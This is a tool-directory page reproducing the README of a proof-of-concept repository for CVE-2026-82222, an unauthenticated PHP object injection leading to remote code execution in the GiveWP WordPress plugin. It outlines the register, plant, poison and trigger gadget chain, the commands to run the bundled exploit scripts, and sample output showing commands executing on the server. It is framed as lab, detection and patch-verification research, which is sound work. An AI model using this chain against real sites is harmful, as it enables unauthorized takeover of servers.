Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/sajjadsiam/cve-2026-82222-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationRemote Access ToolPayload DevelopmentLabs & Practice
GitHubsajjadsiam/cve-2026-82222-poc

CVE-2026-82222-PoC

Proof-of-concept and local DDEV lab for CVE-2026-82222, an unauthenticated PHP object injection to RCE in the GiveWP WordPress plugin, with cURL and Python exploit scripts.

2 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-82222 — GiveWP Unauthenticated PHP Object Injection → RCE

Lab + proof-of-concept for CVE-2026-82222: unauthenticated PHP object injection leading to remote code execution in the GiveWP WordPress donation plugin <= 4.16.7.1 (patched in 4.16.7.2).

CVECVE-2026-82222
CVSS10.0 (Critical)
CWECWE-502 — Deserialization of Untrusted Data
AffectedGiveWP (Donation Plugin) <= 4.16.7.1
Patched4.16.7.2
AdvisoryPatchstack

AUTHORIZED TESTING ONLY. This repository is for education, vulnerability research and testing systems you own or are explicitly permitted to test. Unauthorized use is illegal.

Purpose

This repository exists to help security professionals understand, detect and defend against CVE-2026-82222. All demonstrations are designed for a local lab (lab/) that you run on your own machine. The PoC writes nothing to disk and changes no plugin settings — command output rides in the HTTP response of the trigger request only. See SECURITY.md for the full scope and reporting policy.

Repository layout

root@kitploit:~
├── lab/                    # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│   ├── setup.sh            # one-command lab build
│   ├── set-givewp-version.sh   # swap vulnerable/patched GiveWP versions
│   ├── .ddev/config.yaml   # DDEV project config
│   └── README.md
├── poc/
│   ├── cve-2026-82222.sh   # cURL exploit script
│   ├── poc.py              # Python exploit script
│   └── requirements.txt
├── docs/
│   ├── ANALYSIS.md         # technical write-up + reachability matrix
│   ├── BURP-MANUAL.md      # Burp Repeater walkthrough (request/response)
│   └── CURL-POC.md         # copy/paste cURL walkthrough
├── SECURITY.md             # scope, reporting and safe-use policy
└── LICENSE

The vulnerability

Four unauthenticated requests plus one trigger:

  1. Register — GiveWP's self-registration handler ignores users_can_register and hands out authenticated WP cookies.
  2. Plant — store a serialized POP chain (TCPDF → Symfony Session → DonorFactory → system) in the account's last_name meta field.
  3. Poison — submit a donation without give_last; GiveWP fills the name from the DB, unserializes the gadget with allowed_classes=false, and serializes the live object graph into wp_give_sessions.
  4. Trigger — one request reads the session back with an unrestricted unserialize(); TCPDF::__destruct() reaches call_user_func_array('system', [cmd]). Output appears in the HTTP response — nothing is written to disk.

Full details: docs/ANALYSIS.md

Quick start

1. Build the lab

root@kitploit:~
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
#    form id printed at the end, gateway: manual, WP admin: admin/<random>

Requires Docker + DDEV.

2. Run the PoC

root@kitploit:~
cd poc
pip install -r requirements.txt

# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>

# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v

# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check

Both PoCs are single-target by design — there is no batch or mass-scan mode. Run them only against the lab in lab/ or systems you are authorized to test.

Expected success output (command id):

root@kitploit:~
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
      -> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
      -> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
      -> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :

uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)

3. Verify the patch

root@kitploit:~
cd lab
bash set-givewp-version.sh 4.16.7.2    # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output

Reachability

GiveWPStatus
<= 4.16.5.1Vulnerable — default install is fully reachable
4.16.6 – 4.16.7.1Vulnerable — requires a legacy (non-V3) form; registration needs give_register_nonce
4.16.7.2Patched

Disclaimer

This repository is provided for educational and defensive security research purposes only. The included code demonstrates a documented vulnerability so defenders can build detections, verify patches and test their own systems.

The authors are not responsible for any misuse or damage caused by this material. Do not use it against any system without explicit authorization — doing so may violate the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide. See SECURITY.md.

Credits

  • Vulnerability research and advisory: Patchstack
  • PoC chain verified and labbed against GiveWP 4.16.5.1 on a local DDEV install.

License

MIT — see LICENSE.

Download Tool